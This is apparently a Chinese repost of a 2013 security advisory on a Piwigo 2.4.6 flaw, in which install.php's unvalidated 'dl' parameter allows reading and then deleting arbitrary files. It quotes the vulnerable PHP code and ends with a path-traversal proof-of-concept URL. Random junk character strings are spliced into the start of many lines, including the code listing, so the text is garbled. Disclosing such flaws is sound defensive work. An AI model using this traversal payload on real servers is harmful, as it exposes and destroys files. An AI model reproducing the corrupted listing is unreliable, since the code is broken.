Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
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8 e" }: C3 |; a% n: k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
# D1 f$ q" I  F' B0 l* ]& B2 U114: {
. h& {8 U0 C! B" Y  Q115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
+ j. i% \$ }5 k4 Z9 [118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
8 m8 c) f" \8 n' x% Q/ L123:   exit();
6 A: M. j7 Z' c, W* k$ ]. h$ t124: }
====================================================================
3 u3 D  Z! n/ N, }
; A# R9 X. Q2 H) u7 V) n+ q5 rTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
4 x1 W" p/ \; YAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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( n7 _. V; o: ^4 T: ^% O; c$ t15.02.2013

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$ E, V8 z" ~0 Z. ^http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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